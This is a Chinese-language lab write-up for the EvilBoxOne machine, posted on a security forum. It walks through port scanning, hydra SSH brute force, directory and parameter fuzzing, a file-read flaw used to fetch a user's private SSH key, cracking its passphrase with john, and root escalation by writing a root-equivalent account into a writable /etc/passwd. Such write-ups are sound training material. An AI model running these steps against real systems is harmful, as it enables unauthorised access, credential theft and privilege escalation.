getwebshell → 通过超级强的目录爆破字典(添加后缀)得到端点 → 测试发现文件读取 → 读取用户名以及ssh
密钥 → john
破译密钥的密码 → ssh
登录
提 权 思 路 → 发现suid
的passwd
→ 覆盖root
密码/添加root
权限的账号密码
192.168.45.211
192.168.245.212
sudo nmap --min-rate 10000 -p- 192.168.245.212
通过两次收集到的端口:→22,80
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.245.212
通过Nmap
探测获得SSH的版本信息,可以尝试利用OpenSSH 7.9p1 Debian 10+deb10u2
# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit openssh 7.9
7.9p1的枚举脚本较多,实在没思路的再来尝试
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
ssh root @ 192.168.245.212 -v
# 如果显示publickey、password就是都支持
说明存在root
,并且可以密码爆破和私钥登录
尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.245.212 ssh -s 22
尝试root
账户的密码爆破发现报错之后进行手动尝试
ssh root @ 192.168.245.212 -p 22
# 密码尝试
password > root
访问 http://192.168.245.212:80
从源码泄露开始
# 包括文章中是否写明一些敏感信息
curl http://192.168.245.212:80
无可用信息
dirsearch -u http://192.168.245.212:80 -x 302,403
发现secret
目录,301
说明目录内还有内容,从目录名上看有戏,接着往下扫描并进行递归
dirsearch -u http://192.168.245.212:80/secret -x 302,403 -r 2
扫出了index.html
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
/robots.txt
端点发现文本Hello H4x0r
,推测用户名为H4x0r
Hello H4x0r
/secret/index.html
端点一片空白,源码中似乎也没有任何内容
从现有情况来看,我可以用九头蛇尝试爆破H4x0r
同时利用更大的字典扫目录,先从/secret
端点开始,同时进行
hydra -l H4x0r -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.245.212 ssh -s 22
# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
# 考虑到信息收集网站的后缀是php 添加一些后缀内容
gobuster dir -u http://192.168.243.212/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 100 -x .php,.zip,.html -k
在经历了一大堆的错误之后得到了唯一一个200
的端点/evil.php
/(ㄒoㄒ)/
/secret/evil.php
端点访问发现依旧什么都没有,从文件名来看可能是php
代码
尝试访问/secret/evil.php~
没看到源码
http://192.168.245.212:80/secret/evil.php
在不清楚用途的情况下可以尝试fuzz
一下参数
在使用字典上选择了目录爆破的字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
ffuf -u 'http://192.168.243.212:80/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0 > output.txt
通过fuzz
发现了一个有效参数command
通过测试发现evil
是一个文件读取的功能
在/etc/passwd
下发现了用户mowree
(所以那个robots
提示的用户名是啥意思?)
通常我们利用文件读取和getwebshell
关联的莫过于读取用户密码或者密钥,来登录SSH
因为是用户权限读不到http://192.168.245.212:80/secret/evil.php?command=/etc/shadow
因为是文件读取不是路径遍历,我们要清楚用户底下有没有什么机密的文件,利用工具FUZZ
一下
ffuf -u 'http://192.168.245.212:80/secret/evil.php?command=/home/mowree/FUZZ' -w /usr/share/wordlists/rockyou.txt -fs 0
不过通常用户底下的机密文件是隐藏文件的比较多
我在这里用手动检查了以下几个
/home/mowree/.bash_history # 历史操作
/home/mowree/.mysql_history
/home/mowree/.ssh/id_rsa # 私钥
/home/mowree/.ssh/id_rsa.pub
/home/mowree/.ssh/authorized_keys
检查发现存在私钥文件,那么我们可以直接利用私钥免密登录
# 保存下来
curl http://192.168.243.212:80/secret/evil.php?command=/home/mowree/.ssh/id_rsa > id_rsa
# 免密登录
sudo ssh -i id_rsa mowree @ 192.168.243.212 -p22
登录发现需要密钥的密码
破解密钥密码我们用john
# 利用john的脚本ssh2john.py将私钥id_rsa换成能爆破的hash
/usr/share/john/ssh2john.py id_rsa > ssh.hash
# 利用john离线破译ssh-hash的密码
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
发现了密码unicorn
获取密钥之后指定密钥进行登录
sudo ssh -i id_rsa mowree @ 192.168.243.212 -p22
password → unicorn
死活都登录不上,研究了一下说明是我的id_rsa
的权限开的太大了
首先把权限减小 chmod 600 id_rsa
,登录成功
mowree @ EvilBoxOne:~$ find / -name local.txt 2>/dev/null
/home/mowree/local.txt
mowree @ EvilBoxOne:~$ cat /home/mowree/local.txt
**********************
提权的本质在于枚举
# 确定发行版本
cat /etc/*-release
发行版本是Debian
mowree @ EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
内核版本4.19.0
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
搜索suid
文件权限
# -perm 文件权限
mowree @ EvilBoxOne:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/fusermount
看到了/usr/bin/passwd
尝试一下/etc/passwd
权限收集
ls -al /etc/passwd
发现文件具有写入权限,在此基础上提权的方式有两种
覆盖掉root的密码
# Kali机器使用openssl生成密码
sudo openssl passwd
生成了123456
的加密密码$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.
目标机器上覆盖
# 将root中x替换掉 root:x:0:0:root:/root:/bin/bash
vim /etc/passwd
-----vim------
root:$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.:0:0:root:/root:/bin/bash
--------------
# su默认root账户提权,输入密码
su
将x
替换成密码
目标机器上写入新的root账号YaoRuo
# 利用echo写入/etc/passwd底下,新的密码
echo 'YaoRuo:$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.:0:0::/root:/bin/bash' →→ /etc/passwd
# su提权YaoRuo账户,输入密码
su YaoRuo
这样添加了一个YaoRuo
的root
账户,进入就是root
权限
提权成功
root @ EvilBoxOne:/home/mowree# cat /root/proof.txt
*********************
完结撒花~
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 600.00 | 0 | 2023-08-02 10:10:40 | 深度 200 普适 200 可读 200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.